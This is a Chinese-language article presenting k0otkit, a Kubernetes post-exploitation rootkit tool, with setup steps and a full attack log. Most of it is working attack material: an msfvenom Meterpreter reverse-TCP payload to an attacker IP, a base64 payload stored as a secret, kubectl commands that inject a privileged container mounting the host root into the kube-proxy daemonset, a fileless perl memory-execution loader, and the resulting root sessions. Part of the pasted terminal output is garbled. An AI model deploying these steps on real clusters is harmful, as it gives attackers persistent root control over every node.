关于k0otkit
k0otkit是一种针对Kubernetes集群的通用后渗透技术,在该工具的帮助下,广大研究人员可以轻松对Kubernetes集群进行渗透测试。
k0otkit允许我们以各种方式轻松修改或操作(通过反向Shell)目标Kubernetes集群中的所有节点。本质上来说,k0otkit是Kubernetes和rootkit工具的结合体。
工具特性
1、可以利用K8s的资源和功能来实现渗透测试;
2、动态容器注入技术;
3、通信加密(基于Meterpreter);
4、无文件;
工具使用场景
1、Web渗透测试完成之后,拿到目标的Shell;
2、如果有需要的话,还得设法提升权限;
3、发现目标环境是Kubernetes集群中的一个容器(Pod);
4、设法实现容器逃逸(可利用CVE-2016-5195、CVE-2019-5736、docker.sock或其他技术);
5、获取主节点的root shell,并且可以使用主节点上的kubectl作为管理员来控制目标集群;
6、现在,如果你想控制目标Kubernetes集群中的所有节点,就可以开始使用k0otkit了;
工具要求
k0otkit是一款后渗透测试工具,因此我们首先要能够进入到目标Kubernetes集群,然后以某种方法从容器中逃逸,并获取到主节点的root权限。更确切地来说,我们首先要获取到目标Kubernetes集群的管理员权限,才能开始使用k0otkit。
工具下载
确保我们已经拿到了目标Kubernetes集群的root shell(如果你想获取目标Kubernetes集群的管理员权限,同样可以使用k0otkit的来实现,不过你可能需要修改k0otkit_template.sh中的kubectl命令)。除此之外,你还需要确保在本地设备上安装并配置好了Metasploit工具,并确保msfvenom和msfconsole命令可用。
部署k0otkit
首先,我们需要使用下列命令将该项目源码克隆至本地,并给脚本提供可执行权限:
git clone https://github.com/brant-ruan/k0otkit cd k0otkit/ chmod +x ./*.sh
接下来,替换pre_exp.sh脚本中的IP地址和端口为我们自己设备的IP和端口信息:
ATTACKER_IP=192.168.1.107 ATTACKER_PORT=4444
下列命令可以生成k0otkit:
./pre_exp.sh
生成了k0otkit.sh之后,下列命令将运行反向Shell处理器:
./handle_multi_reverse_shell.sh
工具使用
生成k0otkit:
kali@kali:~/k0otkit$ ./pre_exp.sh + ATTACKER_IP=192.168.1.107 + ATTACKER_PORT=4444 + TEMP_MRT=mrt + msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt ++ xxd -p mrt ++ tr -d '\n' ++ base64 -w 0 + PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw + sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh
运行反向Shell处理器:
kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh payload => linux/x86/meterpreter/reverse_tcp LHOST => 0.0.0.0 LPORT => 4444 ExitOnSession => false [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 0.0.0.0:4444 msf5 exploit(multi/handler) >
在目标Kubernetes集群的主节点中拷贝k0otkit.sh的内容到Shell中,然后按下回车运行:
kali@kali:~$ nc -lvnp 10000 listening on [any] 10000 ... connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750 root@victim-2:~# volume_name=cache mount_path=/var/kube-proxy-cache ctr_name=kube-proxy-cache binary_file=/usr/local/bin/kube-proxy-cache payload_name=cache secret_name=proxy-cache secret_data_name=content ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}') volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}') image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}') # create payload secret cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f - apiVersion: v1 kind: Secret metadata: name: $secret_name namespace:volume_name=cache root@victim-2:~# root@victim-2:~# mount_path=/var/kube-p kube-system type: Opaque data: $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw EOF # assume that ctr_line_num < volume_line_num # otherwise you should switch the two sed commands below # inject malicious container into kube-proxy pod kubecroxy-cache root@victim-2:~# root@victim-2:~# ctr_name=kube-proxy-cache root@victim-2:~# root@victim-2:~# binary_file=/usr/local/bin/kube-proxy-cache root@victim-2:~# root@victim-2:~# payload_name=cache root@victim-2:~# root@victim-2:~# secret_name=proxy-cache root@victim-2:~# root@victim-2:~# secret_data_name=content root@victim-2:~# root@victim-2:~# ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \ | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \ | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n pr name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \ containers:/{print NR}')oxy -o yaml | awk '/ root@victim-2:~# root@victim-2:~# volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}') root@victim-2:~# root@victim-2:~# image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}') root@victim-2:~# root@victim-2:~# # create payload secret root@victim-2:~# cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f - > apiVersion: v1 > kind: Secret > metadata: > name: $secret_name > namespace: kube-system > type: Opaque > data: > $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw > EOF secret/proxy-cache created root@victim-2:~# root@victim-2:~# # assume that ctr_line_num < volume_line_num root@victim-2:~# # otherwise you should switch the two sed commands below root@victim-2:~# root@victim-2:~# # inject malicious container into kube-proxy pod root@victim-2:~# kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \ > | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \ > | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \ > | kubectl replace -f - daemonset.extensions/kube-proxy replaced
等待反向Shell生成:
msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106 [*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.106:51610) at 2020-11-30 03:30:18 -0500 msf5 exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ 192.168.1.106 192.168.1.107:4444 -> 192.168.1.106:51610 (192.168.1.106)
功能1-退出&重新连接:
msf5 exploit(multi/handler) > sessions 1 [*] Starting interaction with 1... meterpreter > shell Process 9 created. Channel 1 created. whoami root exit meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.1.106 - Meterpreter session 1 closed. Reason: User exit msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106 [*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.106:52292) at 2020-11-30 03:32:25 -0500
功能2-控制节点:
msf5 exploit(multi/handler) > sessions 2 [*] Starting interaction with 2... meterpreter > cd /var/kube-proxy-cache meterpreter > ls Listing: /var/kube-proxy-cache ============================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40755/rwxr-xr-x 4096 dir 2020-03-03 03:21:08 -0500 bin 40755/rwxr-xr-x 4096 dir 2020-03-05 22:23:56 -0500 boot 40755/rwxr-xr-x 4180 dir 2020-04-09 21:32:10 -0400 dev 40755/rwxr-xr-x 4096 dir 2020-04-17 02:31:15 -0400 etc 40755/rwxr-xr-x 4096 dir 2020-03-03 03:00:00 -0500 home 100644/rw-r--r-- 36257923 fil 2020-03-05 22:23:56 -0500 initrd.img 100644/rw-r--r-- 39829184 fil 2020-03-03 03:00:17 -0500 initrd.img.old 40755/rwxr-xr-x 4096 dir 2020-04-16 03:52:46 -0400 lib 40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 lib64 40700/rwx------ 16384 dir 2020-03-03 02:33:19 -0500 lost+found 40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:29 -0500 media 40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 mnt 40755/rwxr-xr-x 4096 dir 2020-04-16 03:59:01 -0400 opt 40555/r-xr-xr-x 0 dir 2020-04-09 21:32:01 -0400 proc 40700/rwx------ 4096 dir 2020-11-30 04:00:05 -0500 root 40755/rwxr-xr-x 1020 dir 2020-11-30 04:04:59 -0500 run 40755/rwxr-xr-x 12288 dir 2020-04-16 03:52:46 -0400 sbin 40755/rwxr-xr-x 4096 dir 2020-03-03 03:02:37 -0500 snap 40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 srv 40555/r-xr-xr-x 0 dir 2020-04-14 22:51:06 -0400 sys 41777/rwxrwxrwx 4096 dir 2020-11-30 04:10:07 -0500 tmp 40755/rwxr-xr-x 4096 dir 2020-04-16 04:42:54 -0400 usr 40755/rwxr-xr-x 4096 dir 2020-03-03 02:51:25 -0500 var 100600/rw------- 6712336 fil 2020-03-05 22:22:58 -0500 vmlinuz 100600/rw------- 7184032 fil 2020-03-03 02:33:55 -0500 vmlinuz.old
项目地址
k0otkit:【GitHub传送门】